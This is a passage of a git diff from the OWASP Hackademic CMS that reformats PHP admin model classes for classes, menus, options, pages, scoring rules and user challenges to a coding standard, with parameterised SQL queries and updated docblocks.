self::$action_type); - } - $result = $db->fetchArray($query); - return $result['num']; - } - - public static function getAllClasses() { - $sql = "SELECT * FROM classes WHERE archive = 0 "; - $result_array = self::findBySQL($sql); - return $result_array; - } - - public static function getNClasses ($start, $limit, $search = NULL, $category = NULL) { - $params = array( - ':start' => $start, - ':limit' => $limit - ); - if ($search != NULL && $category != NULL) { - $params[':search_string'] = '%' . $search . '%'; - switch ($category) { - case "name": - $sql = "SELECT * FROM classes WHERE name LIKE :search_string LIMIT :start, :limit"; - break; - } - } else { - $sql= "SELECT * FROM classes ORDER BY id LIMIT :start, :limit "; - } - - $result_array = self::findBySQL($sql, $params); - return $result_array; - } - - private static function findBySQL($sql, $params = NULL) { - global $db; - $result_set = $db->read($sql, $params, self::$action_type); - $object_array = array(); - while($row = $db->fetchArray($result_set)) { - $object_array[] = self::instantiate($row); - } - return $object_array; - } - - public static function instantiate($record) { - $object = new self; - foreach($record as $attribute => $value) { - if($object->hasAttribute($attribute)) { - $object->$attribute = $value; - } - } - return $object; - } - - private function hasAttribute($attribute) { - $object_vars = get_object_vars($this); - return array_key_exists($attribute, $object_vars); - } - - public static function deleteClass($id){ - global $db; - $params = array(':id' => $id); - $sql = "DELETE FROM classes WHERE id = :id"; - $query = $db->delete($sql, $params, self::$action_type); - ClassChallenges::deleteAllMembershipsOfClass($id); - ClassMemberships::deleteAllMembershipsOfClass($id); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public function doesClassExist($classname){ - global $db; - $sql = "SELECT * FROM classes WHERE name = :classname"; - $params = array( - ':classname' => $classname - ); - $query = $db->read($sql, $params, self::$action_type); - $result = $db->numRows($query); - if ($result) { - return true; - } else { - return false; - } - } - - public static function archiveClass($id){ - global $db; - $params = array(':id' => $id); - $sql = "UPDATE classes SET archive= 1 "; - $sql .="WHERE id = :id"; - $query = $db->update($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - public static function unarchiveClass($id){ - global $db; - $params = array(':id' => $id); - $sql = "UPDATE classes SET archive= 0 "; - $sql .= "WHERE id = :id"; - $query = $db->update($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } -} +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ +require_once HACKADEMIC_PATH."model/common/class.HackademicDB.php"; +require_once HACKADEMIC_PATH."admin/model/class.ClassMemberships.php"; +require_once HACKADEMIC_PATH."admin/model/class.ClassChallenges.php"; + +class Classes +{ + + public $id; + public $name; + public $date_created; + public $archive; + + private static $_action_type = 'class'; + + public static function addClass($class_name, $date_created) + { + global $db; + $params = array( + ':class_name' => $class_name, + ':date_created' => $date_created + ); + $sql = "INSERT INTO classes(name,date_created)"; + $sql .= " VALUES (:class_name,:date_created)"; + $query = $db->create($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function updateClassName($class_id , $class_name) + { + global $db; + $params = array(':id' => $class_id,':class_name' => $class_name); + $sql = "UPDATE classes SET name = :class_name"; + $sql .= " WHERE id = :id "; + $query = $db->update($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function getClassByName($class_name) + { + $params=array(':class_name' => $class_name); + $sql = "SELECT * FROM classes WHERE name = :class_name"; + $result_array=self::findBySQL($sql, $params); + return !empty($result_array)?array_shift($result_array):false; + } + public static function getClass($class_id) + { + $params = array(':id' => $class_id); + $sql = "SELECT * FROM classes WHERE id = :id"; + $result_array = self::findBySQL($sql, $params); + return !empty($result_array)?array_shift($result_array):false; + } + + public static function getNumberOfClasses($search=null,$category=null) + { + global $db; + if ($search != null && $category != null) { + $params[':search_string'] = '%'.$search.'%'; + switch($category) { + case "name": + $sql = "SELECT COUNT(*) as num FROM classes WHERE name LIKE :search_string "; + break; + } + $query = $db->read($sql, $params, self::$_action_type); + } else { + $sql = "SELECT COUNT(*) as num FROM classes WHERE archive =0"; + $query = $db->read($sql, null, self::$_action_type); + } + $result = $db->fetchArray($query); + return $result['num']; + } + + public static function getAllClasses() + { + $sql = "SELECT * FROM classes WHERE archive = 0 "; + $result_array = self::findBySQL($sql); + return $result_array; + } + + public static function getNClasses($start, $limit, $search = null, $category = null) + { + $params = array( + ':start' => $start, + ':limit' => $limit + ); + if ($search != null && $category != null) { + $params[':search_string'] = '%' . $search . '%'; + switch ($category) { + case "name": + $sql = "SELECT * FROM classes WHERE name LIKE :search_string LIMIT :start, :limit"; + break; + } + } else { + $sql= "SELECT * FROM classes ORDER BY id LIMIT :start, :limit "; + } + + $result_array = self::findBySQL($sql, $params); + return $result_array; + } + + private static function findBySQL($sql, $params = null) + { + global $db; + $result_set = $db->read($sql, $params, self::$_action_type); + $object_array = array(); + while ($row = $db->fetchArray($result_set)) { + $object_array[] = self::instantiate($row); + } + return $object_array; + } + + public static function instantiate($record) + { + $object = new self; + foreach ($record as $attribute => $value) { + if ($object->hasAttribute($attribute)) { + $object->$attribute = $value; + } + } + return $object; + } + + private function hasAttribute($attribute) + { + $object_vars = get_object_vars($this); + return array_key_exists($attribute, $object_vars); + } + + public static function deleteClass($id) + { + global $db; + $params = array(':id' => $id); + $sql = "DELETE FROM classes WHERE id = :id"; + $query = $db->delete($sql, $params, self::$_action_type); + ClassChallenges::deleteAllMembershipsOfClass($id); + ClassMemberships::deleteAllMembershipsOfClass($id); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public function doesClassExist($classname) + { + global $db; + $sql = "SELECT * FROM classes WHERE name = :classname"; + $params = array( + ':classname' => $classname + ); + $query = $db->read($sql, $params, self::$_action_type); + $result = $db->numRows($query); + if ($result) { + return true; + } else { + return false; + } + } + + public static function archiveClass($id) + { + global $db; + $params = array(':id' => $id); + $sql = "UPDATE classes SET archive= 1 "; + $sql .="WHERE id = :id"; + $query = $db->update($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + public static function unarchiveClass($id) + { + global $db; + $params = array(':id' => $id); + $sql = "UPDATE classes SET archive= 0 "; + $sql .= "WHERE id = :id"; + $query = $db->update($sql, $params, self::$_action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } +} diff --git a/admin/model/class.MenuBackend.php b/admin/model/class.MenuBackend.php index 1991978e..53c76a6a 100644 --- a/admin/model/class.MenuBackend.php +++ b/admin/model/class.MenuBackend.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Daniel Kvist - * @license http://www.gnu.org/licenses/gpl.html + * @author Daniel Kvist * @copyright 2013 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH . "model/common/class.HackademicDB.php"); -require_once(HACKADEMIC_PATH . "model/common/class.Menu.php"); -class MenuBackend extends Menu { - - /** +require_once HACKADEMIC_PATH . "model/common/class.HackademicDB.php"; +require_once HACKADEMIC_PATH . "model/common/class.Menu.php"; +class MenuBackend extends Menu +{ + + /** * Adds a menu with the given name. * - * @param the name of the menu such as 'My menu' + * @param string $name the name of the menu such as 'My menu' + * * @return true if added */ - public static function addMenu($name) { - global $db; - $params = array(':name' => $name); - $sql = "INSERT INTO menus(name) VALUES (:name)"; - $query = $db->create($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + public static function addMenu($name) + { + global $db; + $params = array(':name' => $name); + $sql = "INSERT INTO menus(name) VALUES (:name)"; + $query = $db->create($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - /** + /** * Gets all menus from the database * * @return an array of menus */ - public static function getMenus() { - global $db; - $sql = "SELECT * FROM menus"; - $result = $db->read($sql, null, self::$action_type); - $menus = array(); - while($menu = $db->fetchArray($result)) { - $menus[] = $menu; + public static function getMenus() + { + global $db; + $sql = "SELECT * FROM menus"; + $result = $db->read($sql, null, self::$action_type); + $menus = array(); + while ($menu = $db->fetchArray($result)) { + $menus[] = $menu; + } + return $menus; } - return $menus; - } - - /** + + /** * Updates the menu with the given menu id to the given name. * - * @param menu id of the menu to update - * @param the new name of the menu such as 'My new menu' + * @param id $mid menu id of the menu to update + * @param string $name the new name of the menu such as 'My new menu' + * * @return true if updated */ - public static function updateMenu($mid, $name) { - global $db; - $params = array( - ':mid' => $mid, - ':name' => $name - ); - $sql = "UPDATE menus set name = :name WHERE mid = :mid"; - $query = $db->update($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - - /** + public static function updateMenu($mid, $name) + { + global $db; + $params = array( + ':mid' => $mid, + ':name' => $name + ); + $sql = "UPDATE menus set name = :name WHERE mid = :mid"; + $query = $db->update($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + + /** * Deletes the menu with the given menu id. * - * @param menu id of the menu to delete + * @param id $mid menu id of the menu to delete + * * @return true if deleted - */ - public static function deleteMenu($mid) { - global $db; - $params = array(':mid' => $mid); - $sql = "DELETE from menus WHERE mid = :mid"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + */ + public static function deleteMenu($mid) + { + global $db; + $params = array(':mid' => $mid); + $sql = "DELETE from menus WHERE mid = :mid"; + $query = $db->delete($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - /** + /** * Adds a menu item to the menu with the given menu id. The menu item * needs a url to point to, a label to display and a integer to sort on. * - * @param the url for the menu item - * @param the menu id that the menu item belongs to - * @param the label for the menu item that is visible to the user - * @param the parent menu item id if there is one, otherwise 0 if root item - * @param the sort integer for the menu item, sort is made ascending + * @param string $url the url for the menu item + * @param id $mid the menu id that the menu item belongs to + * @param string $label the label for the menu item that is visible to the user + * @param integer $parent the parent menu item id if there is one, otherwise 0 if + * root item + * @param interger $sort the sort integer for the menu item, sort is made + * ascending + * * @return true if added */ - public static function addMenuItem($url, $mid, $label, $parent, $sort) { - global $db; + public static function addMenuItem($url, $mid, $label, $parent, $sort) + { + global $db; - $params = array( - ':url' => $url, - ':mid' => $mid, - ':label' => $label, - ':parent' => $parent, - ':sort' => $sort - ); + $params = array( + ':url' => $url, + ':mid' => $mid, + ':label' => $label, + ':parent' => $parent, + ':sort' => $sort + ); - $sql = "INSERT INTO menu_items(url, mid, label, parent, sort) VALUES (:url, :mid, :label, :parent, :sort)"; - $query = $db->create($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + $sql = "INSERT INTO menu_items(url, mid, label, parent, sort) VALUES (:url, :mid, :label, :parent, :sort)"; + $query = $db->create($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - /** + /** * Updates a menu item to the menu with the given menu id. The menu item * needs a url to point to, a label to display and a integer to sort on. * - * @param the url for the menu item - * @param the menu id that the menu item belongs to - * @param the new label for the menu item that is visible to the user - * @param the parent menu item id if there is one, otherwise 0 if root item - * @param the new sort integer for the menu item, sort is made ascending + * @param string $url the url for the menu item + * @param id $mid the menu id that the menu item belongs to + * @param string $label the new label for the menu item that is visible to the + * user + * @param integer $parent the parent menu item id if there is one, otherwise 0 if + * root item + * @param integer $sort the new sort integer for the menu item, sort is made + * ascending + * * @return true if updated */ - public static function updateMenuItem($url, $mid, $label, $parent, $sort) { - global $db; + public static function updateMenuItem($url, $mid, $label, $parent, $sort) + { + global $db; - $params = array( - ':url' => $url, - ':mid' => $mid, - ':label' => $label, - ':parent' => $parent, - ':sort' => $sort - ); + $params = array( + ':url' => $url, + ':mid' => $mid, + ':label' => $label, + ':parent' => $parent, + ':sort' => $sort + ); - $sql = "UPDATE menu_items SET label = :label, parent = :parent, sort = :sort WHERE url = :url AND mid = :mid"; - $query = $db->update($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + $sql = "UPDATE menu_items SET label = :label, parent = :parent, sort = :sort WHERE url = :url AND mid = :mid"; + $query = $db->update($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - /** + /** * Deletes a menu item to the menu with the given menu id. * - * @param the url for the menu item - * @param the menu id that the menu item belongs to + * @param string $url the url for the menu item + * @param id $mid the menu id that the menu item belongs to + * * @return true if deleted */ - public static function deleteMenuItem($url, $mid) { - global $db; + public static function deleteMenuItem($url, $mid) + { + global $db; - $params = array( - ':url' => $url, - ':mid' => $mid - ); + $params = array( + ':url' => $url, + ':mid' => $mid + ); - $sql = "DELETE FROM menu_items WHERE url = :url AND mid = :mid"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + $sql = "DELETE FROM menu_items WHERE url = :url AND mid = :mid"; + $query = $db->delete($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - /** + /** * Gets the row id of the lastly inserted row in the database. * * @return the last inserted id */ - public static function insertId() { - global $db; - return $db->insertId(); - } + public static function insertId() + { + global $db; + return $db->insertId(); + } } diff --git a/admin/model/class.Options.php b/admin/model/class.Options.php index e1dd5669..9334e0a7 100644 --- a/admin/model/class.Options.php +++ b/admin/model/class.Options.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Daniel Kvist - * @license http://www.gnu.org/licenses/gpl.html + * @author Daniel Kvist * @copyright 2013 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); +require_once HACKADEMIC_PATH."model/common/class.HackademicDB.php"; -class Options { +class Options +{ - public $name; - public $value; + public $name; + public $value; - private static $action_name = 'options'; + private static $_action_name = 'options'; - /** + /** * Adds an option with the given name and value to the database * - * @param $option_name the name of the option, must be unique - * @param $option_value the value of the option + * @param String $option_name the name of the option, must be unique + * @param String $option_value the value of the option + * * @return bool true if successful */ - public static function addOption($option_name, $option_value) { - global $db; - if($option_name != '') { - $params = array( - ':option_name' => $option_name, - ':option_value' => json_encode($option_value) - ); - $sql = "INSERT INTO options(option_name, option_value) "; - $sql .= "VALUES (:option_name, :option_value)"; - - $query = $db->create($sql, $params, self::$action_name); - - if ($db->affectedRows($query)) { - return TRUE; - } + public static function addOption($option_name, $option_value) + { + global $db; + if ($option_name != '') { + $params = array( + ':option_name' => $option_name, + ':option_value' => json_encode($option_value) + ); + $sql = "INSERT INTO options(option_name, option_value) "; + $sql .= "VALUES (:option_name, :option_value)"; + + $query = $db->create($sql, $params, self::$_action_name); + + if ($db->affectedRows($query)) { + return true; + } + } + return false; } - return FALSE; - } - /** + /** * Gets an option from the database and returns an instance of the option * with its name and value. * - * @param $option_name the name of the option + * @param String $option_name the name of the option + * * @return Options an option instance */ - public static function getOption($option_name) { - global $db; + public static function getOption($option_name) + { + global $db; - $params = array(':option_name' => $option_name); - $sql = "SELECT * FROM options WHERE option_name = :option_name"; + $params = array(':option_name' => $option_name); + $sql = "SELECT * FROM options WHERE option_name = :option_name"; - $result_set = $db->read($sql, $params, self::$action_name); - $row = $db->fetchArray($result_set); + $result_set = $db->read($sql, $params, self::$_action_name); + $row = $db->fetchArray($result_set); - $option = new self; - $option->name = $row['option_name']; - $option->value = json_decode($row['option_value']); + $option = new self; + $option->name = $row['option_name']; + $option->value = json_decode($row['option_value']); - return $option; - } + return $option; + } - /** + /** * Updates the value of an option. * - * @param $option_name the name of the option to update - * @param $option_value the value to update to + * @param String $option_name the name of the option to update + * @param String $option_value the value to update to + * * @return bool true if successful */ - public static function updateOption($option_name, $option_value) { - global $db; - $params = array( - ':option_name' => $option_name, - ':option_value' => json_encode($option_value) - ); - - $sql = "UPDATE options SET option_value = :option_value "; - $sql .= "WHERE option_name = :option_name"; - - $query = $db->update($sql, $params, self::$action_name); - if ($db->affectedRows($query)) { - return TRUE; - } else { - return FALSE; + public static function updateOption($option_name, $option_value) + { + global $db; + $params = array( + ':option_name' => $option_name, + ':option_value' => json_encode($option_value) + ); + + $sql = "UPDATE options SET option_value = :option_value "; + $sql .= "WHERE option_name = :option_name"; + + $query = $db->update($sql, $params, self::$_action_name); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } } - } - /** + /** * Deletes an option from the database with the given name. * - * @param $option_name the option to delete + * @param String $option_name the option to delete + * * @return bool true if successful */ - public static function deleteOption($option_name) { - global $db; - $params = array(':option_name' => $option_name); - - $sql = "DELETE FROM options WHERE option_name = :option_name"; - - $query = $db->delete($sql, $params, self::$action_name); - if ($db->affectedRows($query)) { - return TRUE; - } else { - return FALSE; + public static function deleteOption($option_name) + { + global $db; + $params = array(':option_name' => $option_name); + + $sql = "DELETE FROM options WHERE option_name = :option_name"; + + $query = $db->delete($sql, $params, self::$_action_name); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } } - } } diff --git a/admin/model/class.PageBackend.php b/admin/model/class.PageBackend.php index 98bbfc8f..f241f8b0 100644 --- a/admin/model/class.PageBackend.php +++ b/admin/model/class.PageBackend.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Daniel Kvist - * @license http://www.gnu.org/licenses/gpl.html + * @author Daniel Kvist * @copyright 2013 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH . "model/common/class.HackademicDB.php"); -require_once(HACKADEMIC_PATH . "model/common/class.Page.php"); -class PageBackend extends Page { +require_once HACKADEMIC_PATH . "model/common/class.HackademicDB.php"; +require_once HACKADEMIC_PATH . "model/common/class.Page.php"; +class PageBackend extends Page +{ - /** + /** * Adds a page mapping from the given url to the file. * - * @param the url to map - * @param the path to the file that generates the page view. The path should be relative - * to the HACKADEMIC_PATH variable which is the web root as default. + * @param string $url The url to map + * @param File $file The path to the file that generates the page view. + * The path should be relative to the HACKADEMIC_PATH variable + * which is the web root as default. + * * @return true if added */ - public static function addPage($url, $file) { - global $db; + public static function addPage($url, $file) + { + global $db; - $params = array( - ':url' => $url, - ':file' => $file - ); + $params = array( + ':url' => $url, + ':file' => $file + ); - $sql = "INSERT INTO pages(url, file) VALUES (:url, :file)"; - $query = $db->create($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + $sql = "INSERT INTO pages(url, file) VALUES (:url, :file)"; + $query = $db->create($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - /** + /** * Updates a page mapping from the given url to the new file. * - * @param the url to update the mapping for - * @param the new path to the file that generates the page view. The path should be relative - * to the HACKADEMIC_PATH variable which is the web root as default. + * @param String $url The url to update the mapping for + * @param file $file The new path to the file that generates the page view. + * The path should be relative to the HACKADEMIC_PATH variable + * which is the web root as default. + * * @return true if updated */ - public static function updatePage($url, $file){ - global $db; + public static function updatePage($url, $file) + { + global $db; - $params = array( - ':url' => $url, - ':file' => $file - ); + $params = array( + ':url' => $url, + ':file' => $file + ); - $sql = "UPDATE pages SET file = :file WHERE url = :url"; - $query = $db->update($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + $sql = "UPDATE pages SET file = :file WHERE url = :url"; + $query = $db->update($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } - /** + /** * Deletes a page mapping for the given url. * - * @param the url to delete the page mapping for. + * @param String $url the url to delete the page mapping for. + * * @return true if deleted */ - public static function deletePage($url){ - global $db; + public static function deletePage($url) + { + global $db; - $params = array(':url' => $url); - $sql = "DELETE FROM pages WHERE url = :url"; - $query = $db->delete($sql, $params, self::$action_type); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + $params = array(':url' => $url); + $sql = "DELETE FROM pages WHERE url = :url"; + $query = $db->delete($sql, $params, self::$action_type); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } } diff --git a/admin/model/class.ScoringRuleBackend.php b/admin/model/class.ScoringRuleBackend.php index 6ea9dfca..321f9e2e 100644 --- a/admin/model/class.ScoringRuleBackend.php +++ b/admin/model/class.ScoringRuleBackend.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Spyros Gasteratos - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * @author Spyros Gasteratos + * @author Konstantinos Papapanagiotou * @copyright 2013 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."model/common/class.ScoringRule.php"); - -class ScoringRuleBackend extends ScoringRule{ +require_once HACKADEMIC_PATH."model/common/class.ScoringRule.php"; - /** - * Adds a new scoring rule - */ - public static function add_scoring_rule( $challenge_id, - $class_id, - $attempt_cap, - $attempt_cap_penalty, - $time_between_first_and_last_attempt, - $time_penalty, - $time_reset_limit_seconds, - $request_frequency_per_minute, - $request_frequency_penalty, - $experimentation_bonus, - $multiple_solution_bonus, - $banned_user_agents, - $base_score, - $banned_user_agents_penalty, - $first_try_solves, - $penalty_for_many_first_try_solves){ - global $db; - $params=array( ':challenge_id' => $challenge_id, - ':class_id' => $class_id, - ':attempt_cap' => $attempt_cap, - ':attempt_cap_penalty' => $attempt_cap_penalty, - ':time_between_first_and_last_attempt' => $time_between_first_and_last_attempt, - ':time_penalty' => $time_penalty, - ':time_reset_limit_seconds' => $time_reset_limit_seconds, - ':request_frequency_per_minute' => $request_frequency_per_minute, - ':request_frequency_penalty' => $request_frequency_penalty, - ':experimentation_bonus' => $experimentation_bonus, - ':multiple_solution_bonus' => $multiple_solution_bonus, - ':banned_user_agents' => $banned_user_agents, - ':base_score' => $base_score, - ':banned_user_agents_penalty' => $banned_user_agents_penalty, - ':first_try_solves' => $first_try_solves, - ':penalty_for_many_first_try_solves' => $penalty_for_many_first_try_solves - ); +class ScoringRuleBackend extends ScoringRule +{ + /** + * Adds a new scoring rule + */ + public static function addScoringRule($challenge_id, + $class_id, + $attempt_cap, + $attempt_cap_penalty, + $time_between_first_and_last_attempt, + $time_penalty, + $time_reset_limit_seconds, + $request_frequency_per_minute, + $request_frequency_penalty, + $experimentation_bonus, + $multiple_solution_bonus, + $banned_user_agents, + $base_score, + $banned_user_agents_penalty, + $first_try_solves, + $penalty_for_many_first_try_solves + ) { + global $db; + $params=array( ':challenge_id' => $challenge_id, + ':class_id' => $class_id, + ':attempt_cap' => $attempt_cap, + ':attempt_cap_penalty' => $attempt_cap_penalty, + ':time_between_first_and_last_attempt' => $time_between_first_and_last_attempt, + ':time_penalty' => $time_penalty, + ':time_reset_limit_seconds' => $time_reset_limit_seconds, + ':request_frequency_per_minute' => $request_frequency_per_minute, + ':request_frequency_penalty' => $request_frequency_penalty, + ':experimentation_bonus' => $experimentation_bonus, + ':multiple_solution_bonus' => $multiple_solution_bonus, + ':banned_user_agents' => $banned_user_agents, + ':base_score' => $base_score, + ':banned_user_agents_penalty' => $banned_user_agents_penalty, + ':first_try_solves' => $first_try_solves, + ':penalty_for_many_first_try_solves' => $penalty_for_many_first_try_solves + ); - $sql="INSERT INTO scoring_rule ( challenge_id , class_id , attempt_cap , attempt_cap_penalty , time_between_first_and_last_attempt , time_penalty , time_reset_limit_seconds , request_frequency_per_minute , request_frequency_penalty , experimentation_bonus , multiple_solution_bonus , banned_user_agents , banned_user_agents_penalty , base_score , first_try_solves , penalty_for_many_first_try_solves )"; - $sql .= "VALUES (:challenge_id,:class_id,:attempt_cap,:attempt_cap_penalty,:time_between_first_and_last_attempt,:time_penalty,:time_reset_limit_seconds,:request_frequency_per_minute,:request_frequency_penalty,:experimentation_bonus,:multiple_solution_bonus,:banned_user_agents,:base_score,:banned_user_agents_penalty,:first_try_solves,:penalty_for_many_first_try_solves)"; - $query = $db->query($sql,$params); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } - /** - * Updates an existing rule - */ - public static function update_scoring_rule($id, $challenge_id, $class_id, - $attempt_cap, $attempt_cap_penalty, - $time_between_first_and_last_attempt, - $time_penalty, $time_reset_limit_seconds, - $request_frequency_per_minute, $request_frequency_penalty, - $experimentation_bonus, $multiple_solution_bonus, - $banned_user_agents, $base_score,$banned_user_agents_penalty, - $first_try_solves, $penalty_for_many_first_try_solves){ - global $db; - $params=array(':id'=>$id, - ':challenge_id' => $challenge_id, - ':class_id' => $class_id, - ':attempt_cap' => $attempt_cap, - ':attempt_cap_penalty' => $attempt_cap_penalty, - ':time_between_first_and_last_attempt' => $time_between_first_and_last_attempt, - ':time_penalty' => $time_penalty, - ':time_reset_limit_seconds' => $time_reset_limit_seconds, - ':request_frequency_per_minute' => $request_frequency_per_minute, - ':request_frequency_penalty' => $request_frequency_penalty, - ':experimentation_bonus' => $experimentation_bonus, - ':multiple_solution_bonus' => $multiple_solution_bonus, - ':banned_user_agents' => $banned_user_agents, - ':base_score' => $base_score, - ':banned_user_agents_penalty' => $banned_user_agents_penalty, - ':first_try_solves' => $first_try_solves, - ':penalty_for_many_first_try_solves' => $penalty_for_many_first_try_solves - ); + $sql="INSERT INTO scoring_rule ( challenge_id , class_id , attempt_cap , attempt_cap_penalty , time_between_first_and_last_attempt , time_penalty , time_reset_limit_seconds , request_frequency_per_minute , request_frequency_penalty , experimentation_bonus , multiple_solution_bonus , banned_user_agents , banned_user_agents_penalty , base_score , first_try_solves , penalty_for_many_first_try_solves )"; + $sql .= "VALUES (:challenge_id,:class_id,:attempt_cap,:attempt_cap_penalty,:time_between_first_and_last_attempt,:time_penalty,:time_reset_limit_seconds,:request_frequency_per_minute,:request_frequency_penalty,:experimentation_bonus,:multiple_solution_bonus,:banned_user_agents,:base_score,:banned_user_agents_penalty,:first_try_solves,:penalty_for_many_first_try_solves)"; + $query = $db->query($sql, $params); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } + /** + * Updates an existing rule + * + * @return If done return true, else return false. + */ + public static function updateScoringRule($id, $challenge_id, $class_id, + $attempt_cap, $attempt_cap_penalty, + $time_between_first_and_last_attempt, + $time_penalty, $time_reset_limit_seconds, + $request_frequency_per_minute, $request_frequency_penalty, + $experimentation_bonus, $multiple_solution_bonus, + $banned_user_agents, $base_score, $banned_user_agents_penalty, + $first_try_solves, $penalty_for_many_first_try_solves + ) { + global $db; + $params=array(':id'=>$id, + ':challenge_id' => $challenge_id, + ':class_id' => $class_id, + ':attempt_cap' => $attempt_cap, + ':attempt_cap_penalty' => $attempt_cap_penalty, + ':time_between_first_and_last_attempt' => $time_between_first_and_last_attempt, + ':time_penalty' => $time_penalty, + ':time_reset_limit_seconds' => $time_reset_limit_seconds, + ':request_frequency_per_minute' => $request_frequency_per_minute, + ':request_frequency_penalty' => $request_frequency_penalty, + ':experimentation_bonus' => $experimentation_bonus, + ':multiple_solution_bonus' => $multiple_solution_bonus, + ':banned_user_agents' => $banned_user_agents, + ':base_score' => $base_score, + ':banned_user_agents_penalty' => $banned_user_agents_penalty, + ':first_try_solves' => $first_try_solves, + ':penalty_for_many_first_try_solves' => $penalty_for_many_first_try_solves + ); - $sql="UPDATE scoring_rule SET + $sql="UPDATE scoring_rule SET challenge_id = :challenge_id, class_id = :class_id, attempt_cap = :attempt_cap, @@ -130,28 +135,29 @@ class_id = :class_id, first_try_solves = :first_try_solves, penalty_for_many_first_try_solves = :penalty_for_many_first_try_solves WHERE id =:id"; - $query = $db->query($sql,$params); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } + $query = $db->query($sql, $params); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } - } - /** - * Deletes the default scoring rule - */ - public static function delete_scoring_rule($id){ - global $db; - $params = array(':id'=>$id); - $sql = 'DELETE FROM scoring_rule WHERE id = :id'; - $query = $db->query($sql,$params); - if ($db->affectedRows($query)) { - return true; - } else { - return false; - } - } + } + /** + * Deletes the default scoring rule + */ + public static function deleteScoringRule($id) + { + global $db; + $params = array(':id'=>$id); + $sql = 'DELETE FROM scoring_rule WHERE id = :id'; + $query = $db->query($sql, $params); + if ($db->affectedRows($query)) { + return true; + } else { + return false; + } + } } - ?> +?> diff --git a/admin/model/class.UserChallenges.php b/admin/model/class.UserChallenges.php index 919f4733..88f214f9 100644 --- a/admin/model/class.UserChallenges.php +++ b/admin/model/class.UserChallenges.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."model/common/class.HackademicDB.php"); -require_once(HACKADEMIC_PATH."model/common/class.Debug.php"); +require_once HACKADEMIC_PATH."model/common/class.HackademicDB.php"; +require_once HACKADEMIC_PATH."model/common/class.Debug.php"; -class UserChallenges { - public $id;//challenge_id - public $title;//challenge_title - public $pkg_name; - public $availability; - public $class_id; +class UserChallenges +{ + public $id;//challenge_id + public $title;//challenge_title + public $pkg_name; + public $availability; + public $class_id; - private static $action_type = 'user_challenge'; + private static $_action_type = 'user_challenge'; - /** - * @returns: array - * Get all challenges the user has to solve - * that is all the challenges which are - * challenges of a class the user is in + /** + * Get all challenges the user has to solve + * that is all the challenges which are + * challenges of a class the user is in + * + * @param Id $user_id User's ID + * + * @return array */ - public static function getChallengesOfUser($user_id) { - global $db; - $params = array(':user_id' => $user_id); - $sql = "SELECT DISTINCT + public static 